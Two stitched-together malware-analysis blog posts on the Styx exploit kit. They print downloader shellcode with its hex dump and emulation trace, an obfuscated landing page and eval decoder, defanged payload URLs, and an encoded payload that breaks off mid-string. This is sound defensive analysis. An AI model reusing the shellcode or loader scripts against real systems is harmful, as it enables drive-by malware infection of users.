JCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkAcAAAEDAAEAAAAwIAAAAQEDAAEAAAABAAAAAwEDAAEAAAABAAAABgEDAAEAAAABAAAAEQEEAAEAAAAIAAAAFwEEAAEAAAAwIAAAUAEDAMwAAACSIAAAAAAAAAAMDAj/////o+uASjgggkpuL4BK/////wAAAABAAAAAAAAAAAAQAAAAAAAABReASiBWhEoPY4BKo+uASjAggkqvWIBKXVyASiYAAAAAAAAAAAAAAAAAAABBQUFBQUFBQQUXgEpqaVmNEE2BSgUXgEpOJASNMFOBSgUXgEpBQUFBeAzzpEtTgUoCF4BKQUFBQTHJZItxMIt2DIt2HItuCItGIIs2ZjlIGHXyiOU8i1QFeAHqi3IgAe4xyUGtAeiLGCtYBIH75SDd/3XvSYtaJAHrZosMS4taHAHrAyyLieZqBP82/9WFwK119YE4SUkqAHXtljHJtQPzpQ==

And bin output:

:
^@^@^@^@]<83>í^E1Éd<8b>q0<8b>v^L<8b>v^\<8b>F^H<8b>~ <8b>6f9O^Xuò¾ï^@^@^@^Aî¿Ï^@^@^@^Aïè<80>^A^@^@<89>ê<81>Âï^@^@^@Rh<80>^@^@^@ÿ<95>Ï^@^@^@<89>ê<81>Âï^@^@^@1ö^AÂ<8a><9c>5^@^B^@^@<80>û^@t^F<88>^\2FëîÆ^D2^@<89>ê<81>Ââ^A^@^@Rÿ<95>Ó^@^@^@<89>ê<81>Âí^A^@^@RPÿ<95>×^@^@^@j^@j^@<89>ê<81>Âï^@^@^@R<89>ê<81>Â^K^B^@^@Rj^@ÿÐj^E<89>ê<81>Âï^@^@^@Rÿ<95>Û^@^@^@j^E<89>ê<81>Âã^@^@^@Rÿ<95>Û^@^@^@j^@ÿ<95>ß^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@regsvr32 -s GetTempPathA^@LoadLibraryA^@GetProcAddress^@WinExec^@ExitProcess^@»<89>ò<89>÷0À®uý)÷<89>ù1À¾<^@^@^@^Cµ¸^A^@^@f­^C<85>¸^A^@^@<8b>px<83>Æ^\^Cµ¸^A^@^@<8d>½¼^A^@^@­^C<85>¸^A^@^@«­^C<85>¸^A^@^@P«­^C<85>¸^A^@^@«^1Û­V^C<85>¸^A^@^@<89>Æ<89>×Qüó¦Yt^D^Cëé^<93>Ñà^C<85>Ä^A^@^@1ö<96>f­Áà^B^C<85>¼^A^@^@<89>Æ­^C<85>¸^A^@^@Ãë^P^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@<89><85>¸^A^@^@VWèXÿÿÿ_^«^AÎ<80>>»t^BëíÃURLMON.DLL^@URLDownloadToFileA^@User32.exe^@&h=03^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@<90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90>

3. The shellcode/binary content

Lets look at a hex/ascii representation of the file:

0000000: c3a8 0000 0000 5dc2 83c3 ad05 31c3 8964  ......].....1..d
0000010: c28b 7130 c28b 760c c28b 761c c28b 4608  ..q0..v...v...F.
0000020: c28b 7e20 c28b 3666 394f 1875 c3b2 c2be  ..~ ..6f9O.u....
0000030: c3af 0000 0001 c3ae c2bf c38f 0000 0001  ................
0000040: c3af c3a8 c280 0100 00c2 89c3 aac2 81c3  ................
0000050: 82c3 af00 0000 5268 c280 0000 00c3 bfc2  ......Rh........
0000060: 95c3 8f00 0000 c289 c3aa c281 c382 c3af  ................
0000070: 0000 0031 c3b6 01c3 82c2 8ac2 9c35 0002  ...1.........5..
0000080: 0000 c280 c3bb 0074 06c2 881c 3246 c3ab  .......t....2F..
0000090: c3ae c386 0432 00c2 89c3 aac2 81c3 82c3  .....2..........
00000a0: a201 0000 52c3 bfc2 95c3 9300 0000 c289  ....R...........
00000b0: c3aa c281 c382 c3ad 0100 0052 50c3 bfc2  ...........RP...
00000c0: 95c3 9700 0000 6a00 6a00 c289 c3aa c281  ......j.j.......
00000d0: c382 c3af 0000 0052 c289 c3aa c281 c382  .......R........
00000e0: 0b02 0000 526a 00c3 bfc3 906a 05c2 89c3  ....Rj.....j....
00000f0: aac2 81c3 82c3 af00 0000 52c3 bfc2 95c3  ..........R.....
0000100: 9b00 0000 6a05 c289 c3aa c281 c382 c3a3  ....j...........
0000110: 0000 0052 c3bf c295 c39b 0000 006a 00c3  ...R.........j..
0000120: bfc2 95c3 9f00 0000 0000 0000 0000 0000  ................
0000130: 0000 0000 0000 0000 0000 0000 7265 6773  ............regs
0000140: 7672 3332 202d 7320 4765 7454 656d 7050  vr32 -s GetTempP
0000150: 6174 6841 004c 6f61 644c 6962 7261 7279  athA.LoadLibrary
0000160: 4100 4765 7450 726f 6341 6464 7265 7373  A.GetProcAddress
0000170: 0057 696e 4578 6563 0045 7869 7450 726f  .WinExec.ExitPro
0000180: 6365 7373 00c2 bbc2 89c3 b2c2 89c3 b730  cess...........0
0000190: c380 c2ae 75c3 bd29 c3b7 c289 c3b9 31c3  ....u..)......1.
00001a0: 80c2 be3c 0000 0003 c2b5 c2b8 0100 0066  ...<...........f
00001b0: c2ad 03c2 85c2 b801 0000 c28b 7078 c283  ............px..
00001c0: c386 1c03 c2b5 c2b8 0100 00c2 8dc2 bdc2  ................
00001d0: bc01 0000 c2ad 03c2 85c2 b801 0000 c2ab  ................
00001e0: c2ad 03c2 85c2 b801 0000 50c2 abc2 ad03  ..........P.....
00001f0: c285 c2b8 0100 00c2 ab5e 31c3 9bc2 ad56  .........^1....V
0000200: 03c2 85c2 b801 0000 c289 c386 c289 c397  ................
0000210: 51c3 bcc3 b3c2 a659 7404 5e43 c3ab c3a9  Q......Yt.^C....
0000220: 5ec2 93c3 91c3 a003 c285 c384 0100 0031  ^..............1
0000230: c3b6 c296 66c2 adc3 81c3 a002 03c2 85c2  ....f...........
0000240: bc01 0000 c289 c386 c2ad 03c2 85c2 b801  ................
0000250: 0000 c383 c3ab 1000 0000 0000 0000 0000  ................
0000260: 0000 0000 0000 00c2 89c2 85c2 b801 0000  ................
0000270: 5657 c3a8 58c3 bfc3 bfc3 bf5f 5ec2 ab01  VW..X......_^...
0000280: c38e c280 3ec2 bb74 02c3 abc3 adc3 8355  ....>..t.......U
0000290: 524c 4d4f 4e2e 444c 4c00 5552 4c44 6f77  RLMON.DLL.URLDow
00002a0: 6e6c 6f61 6454 6f46 696c 6541 0055 7365  nloadToFileA.Use
00002b0: 7233 322e 6578 6500 2668 3d30 3300 0000  r32.exe.&h=03...
00002c0: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00002d0: 0000 0000 0000 0000 0000 0000 0000 0000  ................

We can see what will be performed. regsvr and dowload file. We can however not see from where the file is downloaded. Looks strange with that "h=03"? Does not look like XORed eather but lets see:

4. Emulating execution

Lets see if we can get more if we run the code:

$sctest -Ss 1000000000 < shell.bin

Hook me Captain Cook!
userhooks.c:108 user_hook_ExitProcess
ExitProcess(0)
stepcount 34540
[emu 0x0x8469078 ^[[31;1mdebug^[[0m ] cpu state    eip=0x004170cf
[emu 0x0x8469078 ^[[31;1mdebug^[[0m ] eax=0x00000020  ecx=0x0000000c  edx=0x004170e3  ebx=0x7c805800
[emu 0x0x8469078 ^[[31;1mdebug^[[0m ] esp=0x00416fce  ebp=0x00417000  esi=0x0000000a  edi=0x004170e3
[emu 0x0x8469078 ^[[31;1mdebug^[[0m ] Flags:
DWORD GetTempPathA (
     DWORD nBufferLength = 128;
     LPTSTR lpBuffer = 0x004170ef =>
           = "c:\tmp\";
) =  7;
HMODULE LoadLibraryA (
     LPCTSTR lpFileName = 0x004171e2 =>
           = "URLMON.DLL";
) = 0x7df20000;
FARPROC WINAPI GetProcAddress (
     HMODULE hModule = 0x7df20000 =>
         none;
     LPCSTR lpProcName = 0x004171ed =>
           = "URLDownloadToFileA";
) = 0x7df7b0bb;
HRESULT URLDownloadToFile (
     LPUNKNOWN pCaller = 0x00000000 =>
         none;
     LPCTSTR szURL = 0x0041720b =>
           = "&h=03";
     LPCTSTR szFileName = 0x004170ef =>
           = "c:\tmp\User32.exe";
     DWORD dwReserved = 0;
     LPBINDSTATUSCALLBACK lpfnCB = 0;
) =  0;
UINT WINAPI WinExec (
     LPCSTR lpCmdLine = 0x004170ef =>
           = "c:\tmp\User32.exe";
     UINT uCmdShow = 5;
) =  32;
UINT WINAPI WinExec (
     LPCSTR lpCmdLine = 0x004170e3 =>
           = "regsvr32 -s c:\tmp\User32.exe";
     UINT uCmdShow = 5;
) =  32;
void ExitProcess (
     UINT uExitCode = 0;
) =  0;

Nothing more. I guess the bad guys was too quick on this one, forgetting to add the full URL to the malware.

5. Epilogue

If we look at the Styx URL to EXE files:

hxxp: //rupscare.org/zNUdi611VKX0IDkq01jcK0dBBK0Q58F0rlJQ0HCzj0CaX90rFSv0076B01qoF05Oka0sF6F0xPVY16jTn17bNp0odl10d0TL0629S0F84i0FHxP0wT6105b9D0FEWS0Kr4U0swQx0ZdqR0Dw0B0wCUu0ZkH50rXuR0Uc7v0skdD0MhrU15SwC0iNDa0iOGF0HCX113Tui/xMCOakDS1p.exe?gO=aTtOki&h=11

we can see that the "g=03" fits into the picture and the assumption above should stick.

Happy Styx PDF peeling :)

Styx Exploit Kit Analysis - building a bridge to the underworld

Time for another EK adventure. Always fun looking into how these things work.
What to expect: obfuscated JavaScript, JAR's, PDF's and the odd EXE file.
Lets get ready for the fun...

Styx seem to come from Greek mythology and is the name of the river at the border to the underworld (according to wikipedia).


 So lets see if we can build a bridge over to the far side of the underworld... If not we will drown half way.

A Tweet by @IbashBotnets lead me to this one, thanks!

PS!! At the time of publishing: The site is still alive so be careful

1. Start with the redirector

--2013-04-06 hxxp: //rupscare.org/eNLShv0OTec0p3C402mlb0ZrKE0d9420eFIA16FxJ0kSCu0VXk
Resolving rupscare.org... 5.45.183.91
Connecting to rupscare.org|5.45.183.91|:80... connected.
HTTP request sent, awaiting response...
  HTTP/1.0 302 Found
  Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
  Expires: Thu, 19 Nov 1981 08:52:00 GMT
  Location: hxxp: //rupscare.org/eNLShv0OTec0p3C402mlb0ZrKE0d9420eFIA16FxJ0kSCu0VXk/
  Pragma: no-cache
  Server: nginx/0.7.64
  Set-Cookie: PHPSESSID=3693830346734333836633534663236673267363161656463683267326435343; path=/
  Status: 302
  X-Powered-By: ASP.NET version 4
  Content-Type: text/html; charset=utf-8
  X-Powered-By: HPHP
  Connection: keep-alive
  Content-Length: 0
Location: hxxp: //rupscare.org/eNLShv0OTec0p3C402mlb0ZrKE0d9420eFIA16FxJ0kSCu0VXk/ [following]
--2013-04-06 --  hxxp: //rupscare.org/eNLShv0OTec0p3C402mlb0ZrKE0d9420eFIA16FxJ0kSCu0VXk/
Reusing existing connection to rupscare.org:80.
HTTP request sent, awaiting response...
  HTTP/1.0 200 OK
  Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
  Content-Type: text/html;charset=utf-8
  Expires: Thu, 19 Nov 1981 08:52:00 GMT
  Pragma: no-cache
  Server: nginx/0.7.64
  X-Mode: HTML
  X-Powered-By: ASP.NET version 4
  X-Powered-By: HPHP
  Connection: keep-alive
  Content-Length: 472
Length: 472 [text/html]
Saving to: `pane.html'

     0K                                                       100% 25.6M=0s

2013-04-06 (25.6 MB/s) - `pane.html' saved [472/472]

So we got a cute little landing page / gate

html>
<head>
<title>Spvfsgihxh</title>
</head>
<body>
<applet archive="IriBA.jar" code="iIzdFTw.tBAmwo" name="LlfkQbgj">
<param name="CxRAA" value="hxxp: //rupscare.org/f8UENz06Los0sIjA0h5KM11dfM16mOl0dhDI0LoPr0wS3P0vpSB0FdC60KwLL0XazR0I1By0Ftvl0woRa0HMhW0jybx0YczL030IR14y510akqt0btBC0Mlbx16DPl0O0Sm0IPWo03Vp20zsyN0Z5H80IlGk0Uw3f11ZiW0ri5k00zJC0bfMF0nwGj0q4Zx0eHYM0ZMsY/MydDzBPB3b.exe?ftptJ6NyGf0u=nZ&h=11"/>
</applet>
<script src="aDHRYLxXI.js"></script>
</body>
</html>

As so many other EK's straight to the applet. Looks like the link to the EXE is there in bright daylight as well. But lets see what secrets are behind the JavaScript first:

2. Fetching JS: aDHRYLxXI.js

--2013-04-06 --  hxxp: //rupscare.org/eNLShv0OTec0p3C402mlb0ZrKE0d9420eFIA16FxJ0kSCu0VXk/aDHRYLxXI.js
Resolving rupscare.org... 5.45.183.91
Connecting to rupscare.org|5.45.183.91|:80... connected.
HTTP request sent, awaiting response...
  HTTP/1.0 200 OK
  Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
  Content-Type: text/html;charset=utf-8
  Expires: Thu, 19 Nov 1981 08:52:00 GMT
  Pragma: no-cache
  Server: nginx/0.7.64
  Set-Cookie: PHPSESSID=2653362373934343136336565313262653369393937366836353537336333366; path=/
  X-Mode: HTML
  X-Powered-By: ASP.NET version 4
  X-Powered-By: HPHP
  Connection: keep-alive
  Content-Length: 176
Length: 176 [text/html]
Saving to: `aDHRYLxXI.js'

     0K                                                       100% 8.47M=0s

2013-04-06 (8.47 MB/s) - `aDHRYLxXI.js' saved [176/176]

Here is what we got:

var ykskT="p"+"df"+""+"\x78"+"."+"h"+"t"+"\x6dl"+"";
try{
var GyrcZ = LlfkQbgj.bFFvG();
if(GyrcZ.indexOf("rarAjl")<0){
location.href=ykskT;
}
}
catch(e){
location.href=ykskT;
}

Once again redirected, but where; well we have seen worse -> pdfx.html

3. Fetch pdfx.html

--2013-04-06 --  hxxp ://rupscare.org/eNLShv0OTec0p3C402mlb0ZrKE0d9420eFIA16FxJ0kSCu0VXk/pdfx.html
Resolving rupscare.org... 5.45.183.91
Connecting to rupscare.org|5.45.183.91|:80... connected.
HTTP request sent, awaiting response...
  HTTP/1.0 200 OK
  Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
  Content-Type: text/html;charset=utf-8
  Expires: Thu, 19 Nov 1981 08:52:00 GMT
  Pragma: no-cache
  Server: nginx/0.7.64
  Set-Cookie: PHPSESSID=9373265346564633734316938346334303163636564373462363632373736656; path=/
  X-Mode: HTML
  X-Powered-By: ASP.NET version 4
  X-Powered-By: HPHP
  Connection: keep-alive
  Content-Length: 618
Length: 618 [text/html]
Saving to: `pdfx.html'

     0K                                                       100% 30.1M=0s

2013-04-06 (30.1 MB/s) - `pdfx.html' saved [618/618]

<html>
<head>
<title>Uhrobayhjyqi</title>
</head>
<body>
<iframe style="display: none;" src="ocll.html" id="hrtuiai"></iframe>
<script>
var Theb=35;function wlxj(){var pXOm='oZUV';kQIqdJ='CAkXtK';if (kQIqdJ=='PXuT') kOhRAH();}function TqeV(){}
var CwjVUE=132;function utPc(){}
var krZBmfUN="&h=32";
</script>
<script>
window.onload=function(){
 ojzcz=document.getElementById("hrtuiai").contentWindow.document.getElementById("cxhvbb").value;
 pknxmtcs="";
 for(crvm=0;crvm<ojzcz.length;crvm+=2)
  pknxmtcs+=String.fromCharCode(parseInt(ojzcz.substr(crvm,2),26)-135);
 eval(pknxmtcs);
}
</script>
</body>
</html>

An iframe and som more JS. Notice that the JS code references the iframe.

get ocll.html

--2013-04-06 --  hxxp ://rupscare.org/eNLShv0OTec0p3C402mlb0ZrKE0d9420eFIA16FxJ0kSCu0VXk/ocll.html
Resolving rupscare.org... 5.45.183.91
Connecting to rupscare.org|5.45.183.91|:80... connected.
HTTP request sent, awaiting response...
  HTTP/1.0 200 OK
  Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
  Content-Type: text/html;charset=utf-8
  Expires: Thu, 19 Nov 1981 08:52:00 GMT
  Pragma: no-cache
  Server: nginx/0.7.64
  Set-Cookie: PHPSESSID=8366930393133303532636430373836323362633532366262693031673162693; path=/
  X-Mode: HTML
  X-Powered-By: ASP.NET version 4
  Content-Encoding: gzip
  X-Powered-By: HPHP
  Connection: keep-alive
  Content-Length: 1678
Length: 1678 (1.6K) [text/html]
Saving to: `ocll.html'

     0K .                                                     100% 74.3M=0s

2013-04-06 (74.3 MB/s) - `ocll.html' saved [1678/1678]

<html>
<body>
<h1>
<textarea id="cxhvbb">5f939i9b909h969c9b6b87989h8a7m806j908m9b8o9a926n9j8o999i926n929l918o9m9g6k9o5f9j8o9f6b929l918o9h927e9b929k6b7l8o9h926j6k7c5f929l918o9h9
26p9g929h7l8o9h926j929l918o9h926p94929h7l8o9h926j6k6b6m6b929l918o9m9g6k7c5f9j8o9f6b908m9j8o999i927e929g908o9d926j9j8o999i926k6b6m6b6j6j929l918o9m9g7e7e9b9i99
996k6b7g6b6d6d6b7b6b6d7c6b929l9d969f929g7e6d6m929l918o9h926p9h9c8c8b7k8a9h9f969b946j6k6k7c5f919c909i9a929b9h6p909c9c9896927e908m9b8o9a926b6m6b6d7e6d6b6m6b908
m9j8o999i927c5fa05f9j8o9f6b9m9n879h8f7i80849h6b7e6b9b8o9j96948o9h9c9f6p9i9g929f7i94929b9h6p9h9c839c9k929f7k8o9g926j6k7c5f96936j9m9n879h8f7i80849h6p969b91929l
86936j6d9k9c9k77756d6k7d716b6h6h6b9m9n879h8f7i80849h6p969b91929l86936j6d9a9g96926d6k7f7e716k9o5f87989h8a7m806j6d937o7o958b8o9g918o9g6d6n6b989f8h7j9a938c856n6
b726k7c5f919c909i9a929b9h6p9k9f969h926j6d7d96939f8o9a926b939f8o9a928p9c9f91929f7e6i716i6b9g909f9c9999969b947e6i9b9c6i6b9g9h9m99927e6i9d9c9g969h969c9b7b8o8p9g
9c999i9h927c9h9c9d7b719d9l7c9992939h7b719d9l7c6i6b9g9f907e6i939b9h9g6p959h9a996i7f7d7096939f8o9a927f6d6k7c5fa05f9j8o9f6b8a9d99969h859i9a7e939i9b909h969c9b6j9
g9h9f6k9o5f9j8o9f6b9f929h7e8i8k7c5f9j8o9f6b9g9d997e9g9h9f6p9g9d99969h6j708i8j6p8j8m6n6o8k70946k7c5f939c9f6j967e717c967d757c966m6m6k9o5f96936j9h9m9d929c936b9g
9d998i968k6c7e6d9i9b919293969b92916d6k9o9f929h8i968k7e9g9d998i968k7ca092999g929o9f929h8i968k7e6d716d7ca05fa05f9f929h9i9f9b6b9f929h6p979c969b6j6d6d6k7c5fa07c5
f9j8o9f6b7o929h859i9a7e939i9b909h969c9b6j9g9h9f6k9o5f9h9f9m9o5f9f929h9i9f9b6b8a9d99969h859i9a6j9g9h9f6p9a8o9h90956j708i8j918k8i8j918j6p8j8m6n6o8k6l706k6p979c
969b6j6d6d6k6k5fa0908o9h90956j906k9oa07c5f9f929h9i9f9b6b6d6d7c5fa07c5f9j8o9f6b7o929h8791938d929f9g969c9b7e939i9b909h969c9b6j6k9o5f96936j9b8o9j96948o9h9c9f6p9
d999i94969b9g6b6h6h6b9b8o9j96948o9h9c9f6p9d999i94969b9g6p99929b949h957f716k9o5f9j8o9f6b9d999i94969b858o9a926b7e6b9b8o9j96948o9h9c9f6p9d999i94969b9g8i6d7i919c
8p926b7i909f9c8p8o9h6d8k7c5f96936j6c9d999i94969b858o9a926k6b9f929h9i9f9b6b6d6d7c5f9j8o9f6b9d91938m9j929f8m9j929f9g969c9b7e7o929h859i9a6j9d999i94969b858o9a926
p9j929f9g969c9b6k7c5f9j8o9f6b9d91938m9j929f8m91929g909f969d9h969c9b7e7o929h859i9a6j9d999i94969b858o9a926p91929g909f969d9h969c9b6k7c5f9j8o9f6b9d91938m9j929f8m
9a969a927e6d6d7c5f96936j9b8o9j96948o9h9c9f6p9a969a928b9m9d929g8i6d8o9d9d9996908o9h969c9b709j9b916p8o919c8p926p9d91939l9a996d8k6k9o9d91938m9j929f8m9a969a927e6
d7a6p716p716p716d7ca092999g929o96936j9b8o9j96948o9h9c9f6p9a969a928b9m9d929g8i6d8o9d9d9996908o9h969c9b709j9b916p8o919c8p926p9l6o9a8o9f9g6d8k6k9o9d91938m9j929f
8m9a969a927e6d796p716p716p716d7ca0a07c5f96936j9d91938m9j929f8m9j929f9g969c9b6c7e6d6d6k9o5f9f929h9i9f9b6b9d91938m9j929f8m9j929f9g969c9b7c5fa05f92999g926b96936
j9d91938m9j929f8m91929g909f969d9h969c9b6c7e6d6d6k9o5f9f929h9i9f9b6b9d91938m9j929f8m91929g909f969d9h969c9b6b7c5fa05f92999g926b9o5f9f929h9i9f9b6b7o929h859i9a6j
9d91938m9j929f8m9a969a926k7c5fa05fa092999g929o5f9j8o9f6b91969j8m9c8p976b7e6b919c909i9a929b9h6p909f928o9h927m99929a929b9h6j6d91969j6d6k7c5f919c909i9a929b9h6p8
p9c919m6p8o9d9d929b917k959699916j91969j8m9c8p976k7c5f91969j8m9c8p976p969b9b929f7p8b84836b7e6b6i7d867j817m7k8b6b96916b7e6b6d87919387999i94868p976d6b9b8o9a927e
6d87919387999i94868p976d6b7k837i8a8a807l7e6d90999g96917b7k7i797i7a7879716o7379717l6o72727k7n6o7i73757l6o7575757676747675717171716d6b8e807l8b7p7e6d716d6b7p7m8
07o7p8b7e6d716d7f7d70867j817m7k8b7f6i7c5f9h9f9m9o5f9f929h9i9f9b6b7o929h859i9a6j87919387999i94868p976p7o929h8d929f9g969c9b9g6j6k6k7c5fa0908o9h90956j906k9o9f92
9h9i9f9b6b6d6d7ca07c5fa05fa05f9d91939j929f6b7e6b7o929h8791938d929f9g969c9b6j6k7c5f96936j9d91939j929f6c7e6d6d6k5f9d91939j929f7e9d8o9f9g92809b9h6j9d91939j929f6
k7c5f92999g926b9d91939j929f7e717c5f939i9b909h969c9b6b97869b968p9a8c6j6k6b9o5f9j8o9f6b9i8o6b7e6b9b8o9j96948o9h9c9f6p9i9g929f7i94929b9h6p9h9c839c9k929f7k8o9g92
6j6k7c5f96936b6j9i8o6p969b91929l86936j6d9k969b6d6k7f7e716k6b9f929h9i9f9b6b727c5f9f929h9i9f9b6b717c5fa05f939i9b909h969c9b6b8a8a829i7l6j6k9o5f96936j9b8o9j96948
o9h9c9f6p9i9g929f7i94929b9h6p969b91929l86936j6d7k959f9c9a926d6k7f7e716k6b9f929h9i9f9b6b727c5f9f929h9i9f9b6b717c5fa05f939i9b909h969c9b6b98998d7l8d987p896j9f84
9h817p9a929g9d6k6b9o5f9j8o9f6b9d96939f6b7e6b919c909i9a929b9h6p909f928o9h927m99929a929b9h6j6d96936d6m6d9f8o6d6m6d9a926d6k7c5f9d96939f6p9g929h7i9h9h9f968p9i9h9
26j6i9k96919h956i6n6b72716k7c5f9d96939f6p9g929h7i9h9h9f968p9i9h926j6i95929694959h6i6n6b72746k7c5f9d96939f6p9g929h7i9h9h9f968p9i9h926j6i9g9h9m99926i6n6b6d9h9c
9d7b7271719d9l7c9d9c9g969h969c9b7b8o8p9g9c999i9h926d6k7c5f9d96939f6p9g929h7i9h9h9f968p9i9h926j6i9g9f906i6n6b9f849h817p9a929g9d6k7c5f919c909i9a929b9h6p8p9c919
m6p8o9d9d929b917k959699916j9d96939f6k7c5fa05f96936b6j97869b968p9a8c6j6k6b6h6h6b6c8a8a829i7l6j6k6k6b9o5f96936b6j6j9d91939j929f7f7e797171716b6h6h6b9d91939j929f
7d7e797371716k6b9p9p6b6j9d91939j929f7f7e7a7171716b6h6h6b9d91939j929f7d7e7a7471716k6k5f98998d7l8d987p896j6d8f9k8g7j8a7o9687886p9d91936d6k7c5f96936b6j9d91939j9
29f6b7f7e6b777171716b6h6h6b9d91939j929f6b7d6b797171716k5f98998d7l8d987p896j6d9l8a8p7o889d6p9d91936d6k7c5f96936b6j6c6j6j9d91939j929f7f7e797171716b6h6h6b9d9193
9j929f7d7e797371716k6b9p9p6b6j9d91939j929f7f7e7a7171716b6h6h6b9d91939j929f7d7e7a7471716k6k6b6h6h6b6c6j9d91939j929f6b7f7e6b777171716b6h6h6b9d91939j929f6b7d6b7
